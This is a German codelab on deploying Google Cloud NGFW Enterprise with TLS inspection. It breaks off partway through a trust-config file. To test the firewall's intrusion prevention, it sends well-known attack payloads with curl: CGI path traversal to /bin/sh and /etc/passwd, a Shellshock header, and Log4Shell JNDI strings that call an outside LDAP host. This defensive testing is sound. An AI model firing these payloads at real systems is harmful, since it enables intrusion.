Cloud NGFW Enterprise-Codelab [mit TLS-Prüfung]

1. Einführung

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.

Cloud NGFW bietet folgende Vorteile:

  • Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
  • Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Ressourcenhierarchie-Knoten angehängt werden können. Diese Richtlinien bieten eine konsistente Firewall in der gesamten Google Cloud-Ressourcenhierarchie.
  • Detaillierte Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und IAM-gesteuerten Tags (Identity and Access Management) bietet eine präzise Kontrolle für Nord-Süd- und Ost-West-Traffic, bis zu einer einzelnen VM in VPC-Netzwerken und -Organisationen.

Cloud NGFW ist in den folgenden Stufen verfügbar:

  • Cloud Next Generation Firewall – Grundlagen
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise fügt dem verteilten Google Cloud Firewall-Fabric den Einbruchspräventionsdienst (IPS) als Layer-7-Funktion hinzu. Die TLS-Prüfung wird unterstützt, um TLS-verschlüsselten Traffic zu prüfen.

Sie können jetzt zuverlässige Layer 7-NGFW-Prüfungen (Next Generation Firewall) mit detaillierten Steuerelementen bereitstellen, ohne Änderungen an Ihrer Netzwerkarchitektur oder Routingkonfiguration vorzunehmen.

Um die Layer-7-Firewallsteuerung mit IPS zu aktivieren und bereitzustellen, müssen Sie die folgenden Aufgaben ausführen:

  • Erstellen Sie eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten.
  • Optional: Erstellen Sie eine TLS-Prüfungsrichtlinie.
  • Optional: Konfiguration der Vertrauensstellung erstellen
  • Verknüpfen Sie diese Endpunkte mit den VPC-Netzwerken (Virtual Private Cloud), in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
  • Nehmen Sie einfache Änderungen an Ihren vorhandenen Firewallrichtlinien und Firewallregeln vor, um die Bedrohungspräventionsprofile für die verschiedenen Trafficpfade anzugeben.

Netzwerk-Firewallrichtlinien

Die Netzwerk-Firewallrichtlinie dient als Container für Firewallregeln. Regeln, die in einer Netzwerk-Firewallrichtlinie definiert sind, werden erst erzwungen, wenn die Richtlinie mit einem VPC-Netzwerk verknüpft ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugewiesen werden. Netzwerk-Firewallrichtlinien unterstützen IAM-verwaltete Tags (oder einfach nur Tags) in Firewallregeln, die die aktuellen Netzwerk-Tags ersetzen und verwendet werden können, um der Arbeitslast eine Identität zuzuweisen.

Die Freigabe einer Netzwerk-Firewallrichtlinie für mehrere Netzwerke und die Integration mit IAM-verwalteten Tags vereinfachen die Konfiguration und Verwaltung von Firewalls erheblich.

Mit der Einführung der Netzwerk-Firewallrichtlinie bestehen die Firewallrichtlinien von Google Cloud jetzt aus den folgenden Komponenten:

  1. Hierarchische Firewallrichtlinie
  2. VPC-Firewallregeln
  3. Netzwerk-Firewallrichtlinie ( global und regional)

Hierarchische Firewallrichtlinien werden auf den Organisations- und Ordnerknoten innerhalb der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien unter anderem für Batchupdates an ein einzelnes VPC oder eine Gruppe von VPCs angehängt werden können.

Schließlich gibt es noch die impliziten Firewallregeln, die jedem VPC-Netzwerk zugewiesen sind:

  • Eine Regel für ausgehenden Traffic mit der Aktion „Zulassen“ und dem Ziel 0.0.0.0/0
  • Eine Ingress-Regel mit der Aktion „deny“ und der Quelle „0.0.0.0/0“

Standardmäßig wird die Erzwingungssequenz im folgenden Diagramm dargestellt:

21b3bcabc469ffe.png

Die Erzwingungsreihenfolge zwischen den VPC-Firewallregeln und der globalen Netzwerk-Firewallrichtlinie kann getauscht werden. Kunden können die Durchsetzungsanordnung jederzeit mit einem gcloud-Befehl angeben.

Tags

Die neuen in Netzwerk-Firewallrichtlinienregeln integrierten Tags sind Schlüssel/Wert-Paar-Ressourcen, die auf Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag enthält IAM-Zugriffssteuerungen, die angeben, wer was mit dem Tag tun kann. Mit Identity and Access Management (IAM)-Berechtigungen können Sie beispielsweise angeben, welche Hauptkonten den Tags Werte zuweisen können und welche Hauptkonten Tags an Ressourcen anhängen können. Wenn eine Netzwerk-Firewallregel auf ein Tag verweist, muss sie zur Durchsetzung auf eine Ressource angewendet werden.

Tags entsprechen dem Übernahmeressourcenmodell von Google Cloud. Das bedeutet, dass Tags und ihre Werte von übergeordneten Elementen in der Hierarchie übernommen werden. So können Tags an einem Ort erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Auf dieser Seite finden Sie weitere Informationen zu Tags und Zugriffsbeschränkungen.

Tags sollten nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und verschwinden, wenn die Instanz außer Betrieb gesetzt wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen betrachtet werden, unterliegen sie nicht der IAM-Zugriffssteuerung.

Hinweis: In diesem Dokument werden Tags und IAM-verwaltete Tags synonym verwendet.

Umfang

Für dieses Codelab ist ein einzelnes Projekt erforderlich. Außerdem müssen Sie in der Lage sein, ein VPC-Netzwerk zu erstellen und eine Reihe von Netzwerk- und Sicherheitsressourcen zu verwalten. Es wird gezeigt, wie Cloud NGFW Enterprise IPS-Funktionen bereitstellen kann:

  • Internet-Traffic in Richtung Norden mit TLS-Prüfung prüfen
  • Intra-VPC-Flüsse [Ost-West] mit TLS-Prüfung prüfen

Die zu prüfenden Trafficflüsse werden anhand von Cloud Firewall-Abgleichsparametern ausgewählt, einschließlich 5-Tupels (Quell-IP, Ziel-IP, Protokoll, Quellport, Zielport) und Tags.

3d0f288d3b92a295.png

Der Endstatus der Regelbasis der Netzwerk-Firewallrichtlinie ähnelt der folgenden Tabelle:

Priorität

Richtung

Target

Quelle

Ziel

Aktion

Typ

100

Eingehender Traffic

Server_Tag

Systemdiagnosen

Alle

Zulassen

Essentials

200

Eingehender Traffic

Client_Tag, Server_Tag

IAP

Alle

Zulassen

Essentials

800

Eingehender Traffic

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7-Prüfung

Unternehmen

850

Ausgehender Traffic

Client_Tag

Alle

10.0.0.0/24

Zulassen

Essentials

900

Ausgehender Traffic

Client_Tag

Alle

Alle

L7-Prüfung

Unternehmen

Aufgaben in diesem Lab

  • Netzwerk-Firewallrichtlinie erstellen
  • Informationen zum Erstellen und Verwenden von Tags mit Netzwerk-Firewallrichtlinien
  • Cloud NGFW Enterprise mit TLS-Prüfung konfigurieren und verwenden

Voraussetzungen

  • Google Cloud-Projekt.
  • Kenntnisse im Bereitstellen von Instanzen und Konfigurieren von Netzwerkkomponenten
  • Kenntnisse zur Konfiguration von VPC-Firewalls

2. Hinweis

Variablen erstellen/aktualisieren

In diesem Codelab werden $-Variablen verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu unterstützen.

Führen Sie in Cloud Shell die folgenden Befehle aus und ersetzen Sie die Informationen in den Klammern nach Bedarf:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. APIs aktivieren

Aktivieren Sie die APIs, falls Sie dies noch nicht getan haben:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise-Endpunkt erstellen

Da die Erstellung des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die grundlegende Einrichtung kann parallel dazu erfolgen.

Erstellen Sie das Sicherheitsprofil und die Sicherheitsprofilgruppe:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Erwartete Ausgabe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Erstellen Sie den Cloud NGFW Enterprise-Endpunkt:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Optional können Sie den folgenden Befehl ausführen, um weitere Informationen zu erhalten:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Die Erstellung dauert etwa 20 Minuten. Fahren Sie mit dem Abschnitt „Grundlegende Einrichtung“ fort, um die erforderlichen Ressourcen parallel zu erstellen.

5. Grundlegende Einrichtung

VPC-Netzwerk und ‑Subnetz

VPC-Netzwerk und ‑subnetz

Erstellen Sie das VPC-Netzwerk und das Subnetz:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Erstellen Sie den Cloud Router und das Cloud NAT-Gateway:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instanzen

Erstellen Sie die Client- und Webserverinstanzen:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags auf Projektebene

Weisen Sie dem Nutzer falls erforderlich die Berechtigung „tagAdmin“ zu:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Erstellen Sie den Tag-Schlüssel und die Tag-Werte auf Projektebene:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Binden Sie die Tags an die Instanzen:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Globale Netzwerk-Firewallrichtlinie

So erstellen Sie eine globale Netzwerk-Firewallrichtlinie:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Erstellen Sie die erforderlichen Cloud Firewall Essential-Regeln, um Traffic aus den Bereichen Systemdiagnose und Identity-Aware Proxy zuzulassen:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Erstellen Sie die erforderlichen Cloud Firewall-Regeln, um eingehenden East-West-/Subnetz-Traffic aus den jeweiligen Bereichen zuzulassen. Diese Regeln werden aktualisiert, um Cloud NGFW Enterprise mit TLS-Prüfung zu aktivieren:

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Verknüpfen Sie die Cloud-Firewallrichtlinie mit dem VPC-Netzwerk:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud-Firewall-Endpunktverknüpfung

Definieren Sie die Umgebungsvariablen, falls Sie dies noch nicht getan haben und/oder den Skriptansatz bevorzugen.

Prüfen Sie, ob der Cloud-Firewall-Endpunkt erfolgreich erstellt wurde. Fahren Sie erst fort, wenn der Status AKTIV lautet. Während der Erstellung ist der erwartete Status WIRD ERSTELLT:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Optional können Sie den folgenden Befehl ausführen, um weitere Informationen zu erhalten:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Verknüpfen Sie den Cloud-Firewall-Endpunkt mit dem VPC-Netzwerk:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst mit dem TLS-Abschnitt fort, wenn der Status AKTIV lautet. Während der Erstellung ist der erwartete Status CREATING (ERSTELLT):

gcloud network-security firewall-endpoint-associations list

Erwartete Ausgabe nach Abschluss:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Optional können Sie den folgenden Befehl ausführen, um weitere Informationen zu erhalten:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS-Ressourcen konfigurieren

Erstellen Sie einen CA-Pool. In dieser Ressource wird das Stammzertifizierungsstellen-Zertifikat gespeichert, das wir für NGFW Enterprise generieren.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Erstellen Sie die Stamm-CA. Dies ist das CA-Zertifikat, das zum Signieren zusätzlicher Zertifikate für Anfragen über NGFW Enterprise verwendet wird.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Wenn die folgende Meldung angezeigt wird, antworten Sie mit y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Erstellen Sie ein Dienstkonto. Dieses Dienstkonto wird zum Anfordern von Zertifikaten für NGFW Enterprise verwendet:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Legen Sie IAM-Berechtigungen für das Dienstkonto fest:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Erstellen Sie die YAML-Datei für die TLS-Richtlinie. Diese Datei enthält Informationen zu den einzelnen Ressourcen:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importieren Sie die TLS-Prüfungsrichtlinie:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Aktualisieren Sie die Endpunktverknüpfung, um TLS zu aktivieren:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Rufen Sie das CA-Zertifikat ab und fügen Sie es dem CA-Speicher des Clients hinzu:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Übertragen Sie das CA-Zertifikat an den Client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Stellen Sie eine SSH-Verbindung zur VM her, verschieben Sie das CA-Zertifikat in /usr/local/share/ca-certificates und aktualisieren Sie den CA-Speicher:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Kehren Sie zu Cloud Shell zurück.

Serverzertifikatsignaturprozess:

Installieren Sie die Pyca-Kryptografiebibliothek in Cloud Shell mit dem Befehl „pip“:

pip install --user "cryptography>=2.2.0"

Damit das Google Cloud SDK die kryptografische Bibliothek von Pyca verwenden kann, müssen Sie Website-Pakete aktivieren.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Erstellen Sie das Serverzertifikat:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Dadurch werden die Dateien „cert.pem“ und „key.pem“ in Cloud Shell generiert. Übertragen Sie als Nächstes das Zertifikat und den Schlüssel auf den Server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Verbinden Sie sich per SSH mit dem Server, um die Zertifikatsdetails für Apache zu aktualisieren:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Verschieben Sie das Zertifikat und den Schlüssel in einen bestimmten Ordner:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Aktualisieren Sie die SSL-Konfiguration, um ein signiertes Zertifikat zu verwenden:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Starten Sie Apache neu:

sudo systemctl restart apache2

Prüfen Sie den Apache-Status:

sudo systemctl status apache2

Er muss aktiv (ausgeführt) sein.

Beenden Sie die VM und fahren Sie mit cloudshell fort.

8. Nord- und Ost-/West-Konnektivität prüfen

Führen Sie die folgenden Befehle in Cloud Shell aus und notieren Sie sich die zu verwendenden Ziel-IP-Adressen:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Öffnen Sie einen neuen Tab und stellen Sie über IAP eine SSH-Verbindung zur Client-VM her. Sie müssen die Variablen auf dem neuen Tab definieren:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Führen Sie die folgenden Befehle aus und notieren Sie sich die zu verwendenden Ziel-IP-Adressen. Erstellen Sie die Variablen, indem Sie die Werte in den Klammern durch die notierten IP-Adressen aus dem vorherigen Schritt ersetzen. Achten Sie darauf, dass sie erreichbar sind:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Rufen Sie die private IP-Adresse mit Curl auf und prüfen Sie, ob sie erreichbar ist:

curl https://$target_privateip --max-time 2

Erwartete Ergebnisse für die curl-Anfrage:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Senden Sie Beispielangriffe an die IP-Adresse. Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention vorhanden ist:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Beispiel für erwartete Ergebnisse (private IP-Adresse):

400
404
400
200
200

Senden Sie Anfragen auch an ein Internetziel:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Beispiel für erwartete Ergebnisse (Internetziel):

400
404
400
403
403

Schließen Sie das VM-Terminal und kehren Sie zu Cloud Shell zurück.

9. Firewallregeln für die TLS-Prüfung erstellen und aktualisieren

Wir haben bereits eine Firewallregel konfiguriert, um eingehenden Traffic vom internen Subnetz an unseren Server zuzulassen. Wir aktualisieren jetzt die vorhandenen Ingress-Regeln und legen die Aktion auf „apply_security_profile_group“ fest. Dadurch wird die L7-Überprüfung mit TLS für Ein-/Ausgänge aktiviert:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Erstellen Sie eine neue Regel, um die L7-Prüfung in Richtung Norden mit TLS zu prüfen.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Erstellen Sie eine neue Regel, um EGRESS für E/W zuzulassen, um eine doppelte Prüfung zu vermeiden.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. TLS-Prüfung in ausgehender Richtung validieren

Wechseln Sie zum Tab „Client-VM“ zurück oder stellen Sie eine neue Verbindung her:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Beispielangriffe an ein Internetziel senden:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Es werden keine Antworten wie in der erwarteten Ausgabe unten empfangen. Das bestätigt, dass die Beispielangriffe jetzt blockiert werden:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Legen Sie die Variable auf die zuvor ermittelte Server-IP-Adresse fest:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Senden Sie Beispiel-TLS-Anfragen an den Server:

curl https://$target_privateip --max-time 2

Erwartete Ausgabe:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Warum ist diese Anfrage fehlgeschlagen? Das liegt daran, dass die Firewall ein Zertifikat vom Server empfängt, das nicht als vertrauenswürdig eingestuft wurde. In diesem Fall wird ein selbstsigniertes Zertifikat an den Client zurückgegeben. Wir müssen das CA-Zertifikat als Teil einer Vertrauenskonfiguration hinzufügen, um das Vertrauen zu aktivieren.

Kehren Sie zu Cloud Shell zurück.

11. Konfiguration der Vertrauensstellung

Rufen Sie das Stamm-CA-Zertifikat ab und legen Sie es als Variable mit der richtigen Formatierung fest.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Konfigurieren Sie die YAML-Datei „Trust Config“. Diese Datei enthält Vertrauensdetails wie Zertifizierungsstellenzertifikate:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
